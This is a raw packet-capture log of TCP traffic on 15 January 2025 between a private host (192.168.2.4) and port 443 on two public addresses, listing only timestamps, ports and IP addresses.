Jan 15, 2025 13:08:20.200992107 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.201078892 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.201128006 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.201136112 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.201225042 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.201255083 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.201261997 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.201667070 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.201868057 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.202028036 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.202089071 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.202095985 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.202231884 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.202284098 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.202291012 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.212766886 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.212820053 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.212826967 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.212908030 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.212990046 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.213021994 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.213028908 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.213063955 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.213078976 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.213279009 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.213325024 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.213331938 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.213444948 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.213525057 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.213560104 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.213566065 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.213603020 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.220472097 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.220649958 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.220717907 CET	49787	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.221307993 CET	49787	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.221324921 CET	443	49787	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.224751949 CET	49788	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.224788904 CET	443	49788	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.224874973 CET	49788	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.225157976 CET	49788	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.225188971 CET	443	49788	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.287401915 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.287621021 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.287708998 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.287717104 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.287806034 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.287863016 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.287869930 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.288245916 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.288307905 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.288314104 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.288335085 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.288368940 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.288377047 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.288507938 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.289093018 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.289149046 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.289230108 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.289282084 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.290045023 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.290102005 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.290132999 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.290191889 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.290908098 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.290970087 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.299540043 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.299602032 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.299643993 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.299706936 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.300082922 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.300142050 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.300167084 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.300219059 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.300620079 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.300690889 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.300704002 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.300765038 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.374056101 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.374128103 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.374269009 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.374329090 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.374366045 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.374521971 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.374581099 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.374665022 CET	49786	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.374675989 CET	443	49786	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.377126932 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.377166986 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.377430916 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.377640963 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.377654076 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.401789904 CET	49790	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:20.401878119 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:20.401966095 CET	49790	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:20.402127981 CET	49790	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:20.402153015 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:20.527115107 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.527148008 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.527369022 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.527605057 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.527611971 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.702686071 CET	443	49788	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.702950954 CET	49788	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.703013897 CET	443	49788	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.704164028 CET	443	49788	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.704504013 CET	49788	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.704631090 CET	49788	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.704696894 CET	443	49788	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.753315926 CET	49788	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.838186026 CET	443	49788	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.838385105 CET	443	49788	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.838540077 CET	49788	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.845240116 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.847990990 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.848020077 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.848644018 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.850234032 CET	49788	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.850265980 CET	443	49788	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.850831985 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.850935936 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.851466894 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.895351887 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.914669991 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:20.915124893 CET	49790	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:20.915146112 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:20.915457964 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:20.923367977 CET	49790	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:20.923446894 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:20.923499107 CET	49790	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:20.971034050 CET	49790	443	192.168.2.4	188.114.96.3
Jan 15, 2025 13:08:20.971049070 CET	443	49790	188.114.96.3	192.168.2.4
Jan 15, 2025 13:08:20.986418009 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.987004042 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.987024069 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.987488031 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.991008997 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.991111994 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.991344929 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.991393089 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.991446972 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.993534088 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.993663073 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.993721962 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.993730068 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.993812084 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.993856907 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.993860960 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.993984938 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.994067907 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.994117975 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.994122028 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.994223118 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.994263887 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.994267941 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:20.994307041 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:20.994311094 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.035825014 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.035839081 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082014084 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082113981 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082200050 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082221985 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.082238913 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082262039 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.082343102 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082427979 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082468033 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.082479000 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082564116 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.082567930 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082817078 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082868099 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.082873106 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.082966089 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.083012104 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.083017111 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.083123922 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.083204031 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.083251953 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.083257914 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.083719015 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.083770990 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.083775997 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.083817959 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.083822012 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.083929062 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.083980083 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.083985090 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.130074024 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.137048006 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137171984 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137258053 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137260914 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.137289047 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137465954 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137514114 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.137523890 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137564898 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.137568951 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137650013 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137737036 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137782097 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.137785912 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.137829065 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.141524076 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.141679049 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.141742945 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.141747952 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170062065 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170289040 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170356989 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.170363903 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170443058 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170489073 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.170494080 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170583963 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170725107 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170767069 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.170772076 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170912027 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.170958996 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.170964956 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.171005964 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.171008110 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.171036005 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.171060085 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.171472073 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.171520948 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.171525002 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.171627045 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.171685934 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.171689987 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.172415018 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.172468901 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.172472954 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.172511101 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.172559023 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.172564983 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.173300028 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.173348904 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.173352957 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.173410892 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.173463106 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.173466921 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.173492908 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.173542023 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.173546076 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.174391031 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.174441099 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.174447060 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.174565077 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.183768034 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.223463058 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.223649979 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.223737955 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.223824978 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.223825932 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.223854065 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.223901987 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.223957062 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.224010944 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.224066973 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.224211931 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.224828005 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.224889040 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.224895000 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.224935055 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.224939108 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.225044966 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.225125074 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.225167990 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.225172043 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.225213051 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.225722075 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.225790977 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.225828886 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.225864887 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.225868940 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.225876093 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.225903988 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.226622105 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.226661921 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.226663113 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.226674080 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.226715088 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.226718903 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.258887053 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.258999109 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.259012938 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.259043932 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.259066105 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.259087086 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.259144068 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.259198904 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.259275913 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.259330034 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.259407043 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.259463072 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.259493113 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.259547949 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.259594917 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.259778976 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.259829998 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.263693094 CET	49789	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.263708115 CET	443	49789	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.270416021 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.270431042 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310204029 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310256004 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310292959 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310328960 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310370922 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.310375929 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310384989 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310403109 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.310408115 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310424089 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.310430050 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310472012 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310482025 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.310486078 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310520887 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.310522079 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310571909 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.310578108 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.310626030 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.311024904 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.311086893 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.311141014 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.311211109 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.311235905 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.311301947 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.311350107 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.311398983 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.311780930 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.311839104 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.311876059 CET	443	49791	104.18.94.41	192.168.2.4
Jan 15, 2025 13:08:21.311938047 CET	49791	443	192.168.2.4	104.18.94.41
Jan 15, 2025 13:08:21.311975956 CET	443	49791	104.18.94.41	192.168.2.4
